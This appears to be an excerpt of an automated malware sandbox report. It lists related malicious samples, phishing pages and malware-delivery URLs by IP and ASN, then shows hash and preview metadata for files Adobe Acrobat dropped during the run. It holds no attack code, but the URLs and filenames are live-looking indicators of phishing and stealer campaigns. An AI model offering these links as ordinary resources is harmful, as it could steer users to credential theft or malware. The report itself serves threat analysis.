	do.ps1	Get hash	malicious	Unknown	Browse	199.232.214.172
	Opdxdyeul.exe	Get hash	malicious	SystemBC	Browse	199.232.210.172
	YcxjdYUKIb.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.210.172
	xxx.ps1	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	KE2yNJdV55.exe	Get hash	malicious	PureCrypter	Browse	199.232.210.172
code.jquery.com	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	151.101.66.137
	Remit_Advice_SMKT_84655.htm	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://sharefileon.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://evitefestivities.info	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://docs.google.com/presentation/d/e/2PACX-1vS4E-28RyhuHX8_MZcsg7wizgGkSwW0LDVl5HNjN-NsvlVsETQwbyEWxbBU714X4OECIwqCDQyWoANZ/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://ngfreemessage-verifying.freewebhostmost.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	151.101.2.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	172.64.41.3
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
CLOUDFLARENETUS	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	172.64.41.3
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
CLOUDFLARENETUS	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	172.64.41.3
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
CLOUDFLARENETUS	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	172.64.41.3
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.165810484691183
Encrypted:	false
SSDEEP:	6:7RW92c+q2PRN2nKuAl9OmbnIFUt8ORW9W+dZmw+ORW9W+hVkwORN2nKuAl9Ombjd:7DhvaHAahFUt8OEd/+OEv5JHAaSJ
MD5:	93AFF3F6E9FABA6A9A79F89BED4694C6
SHA1:	0E6B46F902E40C0DB949A001FF5EAF057795B08F
SHA-256:	ABC0CD3D4862DA620283E39AB042D8F225CBD128643499CEA2E061279C896CE5
SHA-512:	9D96B99F239006B3EEF801C388DC881F24DE74C19BD39298202EAE51251CADA8225EC8718BCBC75B106227DE6AD078B86838E0A65BDA40CCEB29F8E0F3E99C35
Malicious:	false
Reputation:	low
Preview:	2024/12/18-08:53:03.199 18e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-08:53:03.201 18e8 Recovering log #3.2024/12/18-08:53:03.201 18e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.165810484691183
Encrypted:	false
SSDEEP:	6:7RW92c+q2PRN2nKuAl9OmbnIFUt8ORW9W+dZmw+ORW9W+hVkwORN2nKuAl9Ombjd:7DhvaHAahFUt8OEd/+OEv5JHAaSJ
MD5:	93AFF3F6E9FABA6A9A79F89BED4694C6
SHA1:	0E6B46F902E40C0DB949A001FF5EAF057795B08F
SHA-256:	ABC0CD3D4862DA620283E39AB042D8F225CBD128643499CEA2E061279C896CE5
SHA-512:	9D96B99F239006B3EEF801C388DC881F24DE74C19BD39298202EAE51251CADA8225EC8718BCBC75B106227DE6AD078B86838E0A65BDA40CCEB29F8E0F3E99C35
Malicious:	false
Reputation:	low
Preview:	2024/12/18-08:53:03.199 18e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-08:53:03.201 18e8 Recovering log #3.2024/12/18-08:53:03.201 18e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.142868854775205
Encrypted:	false
SSDEEP:	6:7RW9mUXi+q2PRN2nKuAl9Ombzo2jMGIFUt8ORW9GZmw+ORW9aup3VkwORN2nKuAv:7j+vaHAa8uFUt8OX/+OJuJV5JHAa8RJ
MD5:	235204B9F9C36E6C96D291C1A342D190
SHA1:	4E4E6543230304A09BD97BB3A9354D2D390062D0
SHA-256:	08654DCCB0F209A1E358518C87AFEA66607E74A9497AF890FE7584B4428FABFA
SHA-512:	EBF638CB2CA06420601209D063DA2C77AEA15F3C37F06754D5B7CC9B1785E888E0E6B8369837C93810C2B8ED390558DBFC890097B6D2DD21A266B6C83C7FB616
Malicious:	false
Reputation:	low
Preview:	2024/12/18-08:53:03.102 112c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-08:53:03.106 112c Recovering log #3.2024/12/18-08:53:03.107 112c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.142868854775205
Encrypted:	false
SSDEEP:	6:7RW9mUXi+q2PRN2nKuAl9Ombzo2jMGIFUt8ORW9GZmw+ORW9aup3VkwORN2nKuAv:7j+vaHAa8uFUt8OX/+OJuJV5JHAa8RJ
MD5:	235204B9F9C36E6C96D291C1A342D190
SHA1:	4E4E6543230304A09BD97BB3A9354D2D390062D0
SHA-256:	08654DCCB0F209A1E358518C87AFEA66607E74A9497AF890FE7584B4428FABFA
SHA-512:	EBF638CB2CA06420601209D063DA2C77AEA15F3C37F06754D5B7CC9B1785E888E0E6B8369837C93810C2B8ED390558DBFC890097B6D2DD21A266B6C83C7FB616
Malicious:	false
Reputation:	low
Preview:	2024/12/18-08:53:03.102 112c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-08:53:03.106 112c Recovering log #3.2024/12/18-08:53:03.107 112c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.990119326274656
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eqq59cskwsDHF4R8HOVWj2HEqa9a1o3/QBR7Y53h6ubU74MS7PMVKJ7:YHO8squwsBdOg2Hhcaq3QYiubrP7E4TX
MD5:	0729A4E4279F89A8FF01392ECA424337
SHA1:	D17D189EBBDCAEB3E481657B635B0624AF3FE83D
SHA-256:	C292BA4F0E17544A1817E89B7F6C237F8A0430741657BCBCE64AC9232C81D3FD
SHA-512:	D366EFA959474572A8F51D12890FFDDE8899F05767803FA88963FD77A2210989A86B65BC026049260B06AA21EBF263A9896238455E1FCAD9B9C373B455C13EDA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379089993028853","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":686975},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2d7866f-456f-43ed-88fb-57186d2d4e79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.990119326274656
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eqq59cskwsDHF4R8HOVWj2HEqa9a1o3/QBR7Y53h6ubU74MS7PMVKJ7:YHO8squwsBdOg2Hhcaq3QYiubrP7E4TX
MD5:	0729A4E4279F89A8FF01392ECA424337
SHA1:	D17D189EBBDCAEB3E481657B635B0624AF3FE83D
SHA-256:	C292BA4F0E17544A1817E89B7F6C237F8A0430741657BCBCE64AC9232C81D3FD
SHA-512:	D366EFA959474572A8F51D12890FFDDE8899F05767803FA88963FD77A2210989A86B65BC026049260B06AA21EBF263A9896238455E1FCAD9B9C373B455C13EDA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379089993028853","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":686975},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4591
Entropy (8bit):	5.237153761825785
Encrypted:	false
SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xekN6fdIRTaQZ:OLT0bTIeYa51Ogu/0OZARBT8kN88Vfdk
MD5:	C8339DF5A1472900AE6EF89FDDB7F720
SHA1:	07BFC747A39013EE02A0060FE70D822B3DD32D9D
SHA-256:	BB059CAACAE8FB533F940709AF07E7DFEE5851BD91ADE4B2CBD56B1C67595D7E
SHA-512:	66973CEFA0EA4F1207D8F0430ABFDDE99DED09D8FF86100F1E0361ABFE35221EDCB7436ABDED31ACE6ACE80BCFB25A4B9D049C1B0DD13018989BB65428DFCA6A
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.154975539769735
Encrypted:	false
SSDEEP:	6:7RW9WvUOi+q2PRN2nKuAl9OmbzNMxIFUt8ORW9WUzmZmw+ORW9Wj4VkwORN2nKuP:7Li+vaHAa8jFUt8Omm/+OiV5JHAa84J
MD5:	C25D74F0B19A92D392467302599E7F34
SHA1:	30AB6CA9D4FBC3A611E54A94D3D75F53870B2AC8
SHA-256:	3DE7D621DB0EBDB88B0D44F3D1208DB20EBAAE81680981F44153E31EEE2A630C
SHA-512:	05A344028667D4C02A85F269EC2B589741FB143A2D8468A8D613BB129F5C91FFFDD0EC2B97740DFE1AC6BFF469C006C5DF354B3E4E97217DBA15A19F6BFE3506
Malicious:	false
Preview:	2024/12/18-08:53:03.282 112c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-08:53:03.283 112c Recovering log #3.2024/12/18-08:53:03.286 112c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.154975539769735
Encrypted:	false
SSDEEP:	6:7RW9WvUOi+q2PRN2nKuAl9OmbzNMxIFUt8ORW9WUzmZmw+ORW9Wj4VkwORN2nKuP:7Li+vaHAa8jFUt8Omm/+OiV5JHAa84J
MD5:	C25D74F0B19A92D392467302599E7F34
SHA1:	30AB6CA9D4FBC3A611E54A94D3D75F53870B2AC8
SHA-256:	3DE7D621DB0EBDB88B0D44F3D1208DB20EBAAE81680981F44153E31EEE2A630C
SHA-512:	05A344028667D4C02A85F269EC2B589741FB143A2D8468A8D613BB129F5C91FFFDD0EC2B97740DFE1AC6BFF469C006C5DF354B3E4E97217DBA15A19F6BFE3506
Malicious:	false
Preview:	2024/12/18-08:53:03.282 112c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-08:53:03.283 112c Recovering log #3.2024/12/18-08:53:03.286 112c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241218135304Z-273.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.6220451879553865
Encrypted:	false
SSDEEP:	96:ngTTTTk10HCvmebuInVJt7TTTDrPdxYTTTTv60Ts+S66TTTTTTTCTTTTTTTTTAgu:nBRmTpTTTTTTTTT12STTTTTTTTTTTu
MD5:	114415572E9A52716FE7215A8BEC0C06
SHA1:	5BA61812CD506ED939F27C0C08DEED9038406EBE
SHA-256:	C213E2FCD6096408AB3AF4E720B66332F7BB13EF62ED3CFC81F7DFCB489BAF6B
SHA-512:	977E8BBD7CFA0493721B9EFC2D9AE5E17A95C8277BB837C46A2032B2F8CA940C11F28CA8D01059339552588A83429EA05C930117A9D1F179BB9AE316BF942DFA
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.214720697225044
Encrypted:	false
SSDEEP:	24:7+tKXPqLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Z:7MKfqLmFTIF3XmHjBoGGR+jMz+Lhi
MD5:	801759C3508C9AB8C9A2D6EBE734A4AA
SHA1:	4298C12C8E8EB64277315F053A657B3C88F3384B
SHA-256:	E276EB7CF6FA15CDF58A21FC8191AAEA2464AB0611B21B66A4840FFF3D9B1D60
SHA-512:	58FDA497124F87F32793B705257E4A733482A7D4C10986090C2259023DB5104ECE70F6BAB6F8901A8CA3FCA5844C44893A503A3529C19A5BAAD6BDE8FEE7CFF8
Malicious:	false
Preview:	.... .c.....<-..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.734169656628181
Encrypted:	false
SSDEEP:	3:kkFklmnOb31fllXlE/HT8k+lh1NNX8RolJuRdxLlGB9lQRYwpDdt:kK/Ob32T8TlRNMa8RdWBwRd
MD5:	2C4561C757273E9C45259066602BC802
SHA1:	953FE04D4161EEEBCD408FFBEB0B2C50B1236725
SHA-256:	7E98FF56D17B7EB9273D1CFBCE18563F980E63977787F3A3F9E16C8AFAE5E2C0
SHA-512:	F18057DDD8A0CF5721DB8FC071015075DB0763959875F7EE469D844EF78FDF178567955428E58E901595F61D2A506D29FA6342D0DF4B0DEDC5E19001BC8FE3A3
Malicious:	false
Preview:	p...... ........U.;.TQ..(....................................................... ..........W....4...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.253995428229511
Encrypted:	false
SSDEEP:	6:kKa9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NDImsLNkPlE99SNxAhUe/3
MD5:	7893530DB51736241999F350F46BA7D1
SHA1:	E13E39A76121A89236337671CBA9E1119FB8F029
SHA-256:	3E2842667B0123DBA4D461317FA278311A0E5BB4C55B59E900943C582641D14E
